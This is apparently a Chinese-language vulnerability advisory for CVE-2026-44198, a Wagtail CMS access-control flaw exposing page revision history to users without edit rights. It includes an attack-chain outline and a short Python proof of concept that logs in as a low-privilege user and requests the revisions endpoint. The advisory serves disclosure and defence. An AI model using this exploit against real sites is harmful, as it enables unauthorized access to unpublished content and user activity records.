IPBUF安全漏洞报告
English
CVE-2026-44198 CVSS 4.3 中危

CVE-2026-44198 Wagtail CMS越权访问导致信息泄露

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44198
漏洞类型
越权访问
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wagtail CMS

相关标签

越权访问信息泄露WagtailCMSCWE-200CVE-2026-44198

漏洞概述

Wagtail是一个基于Django的开源内容管理系统(CMS)。在7.0.7、7.3.2和7.4版本之前,系统存在权限控制缺陷。不具备页面编辑权限的CMS用户,依然能够访问特定页面的历史报告功能。这一漏洞可能导致敏感信息被非授权获取,构成信息泄露风险。攻击者可借此查看页面的修订记录、用户操作日志及敏感元数据,从而为后续的社会工程学攻击或针对性渗透提供情报支持。

技术细节

该漏洞的根本原因在于Wagtail CMS在处理页面历史记录访问请求时,权限校验逻辑存在缺陷。正常情况下,查看页面的详细编辑历史应当与编辑页面的权限保持一致,以防止未授权用户窥探内容的演变过程或获取草稿中的敏感信息。然而,在受影响的版本中,系统仅检查了用户是否登录(低权限用户),而未严格验证用户是否拥有特定页面的编辑权。攻击者利用此漏洞的方式相对简单。首先,攻击者需要拥有一个有效的低权限CMS账户。然后,通过构造特定的HTTP请求,直接访问目标页面的历史报告接口(通常位于 `/admin/pages/<page_id>/revisions/` 等路径)。由于服务器端的权限过滤器失效,系统会返回该页面的完整修订历史,包括内容变更、操作者信息及时间戳。这种信息泄露可能帮助攻击者进一步分析网站结构或收集敏感数据用于后续攻击。此外,如果历史记录中包含未发布的草稿或敏感配置的临时变更,后果可能更为严重。该漏洞属于典型的越权访问类漏洞,破坏了系统的机密性原则。

攻击链分析

STEP 1
侦察与信息收集
攻击者识别目标使用的是Wagtail CMS,并获取一个低权限的普通用户账号。
STEP 2
会话建立
攻击者使用低权限账号登录系统,获取有效的Session Cookie。
STEP 3
漏洞利用
攻击者构造HTTP请求,直接访问特定页面的历史报告接口(如 /admin/pages/{id}/revisions/),绕过前端编辑权限检查。
STEP 4
信息泄露
服务器返回该页面的完整修订历史,攻击者获取敏感信息(如未发布内容、修改记录等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target-wagtail-site.com" login_url = f"{target_url}/admin/login/" page_history_url = f"{target_url}/admin/pages/5/revisions/" # Replace 5 with valid page ID # Low-privilege user credentials username = "low_priv_user" password = "password123" session = requests.Session() # Step 1: Login to get session cookie login_payload = { "username": username, "password": password, "csrfmiddlewaretoken": "" # Need to fetch this first in a real scenario } # Note: In a real exploit, you must fetch the CSRF token from the login page first. response = session.post(login_url, data=login_payload) if response.status_code == 200: print("[+] Login successful") # Step 2: Access page history without edit permission history_response = session.get(page_history_url) if history_response.status_code == 200: print("[+] Successfully accessed page history!") print("[+] Content snippet:") print(history_response.text[:500]) # Print first 500 chars else: print("[-] Failed to access history") else: print("[-] Login failed")

影响范围

Wagtail < 7.0.7
Wagtail < 7.3.2
Wagtail < 7.4

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中配置规则,限制对 `/admin/pages/*/revisions/` 路径的访问,仅允许特定IP或管理员角色访问,或者暂时禁用历史报告功能以防止信息泄露。

参考链接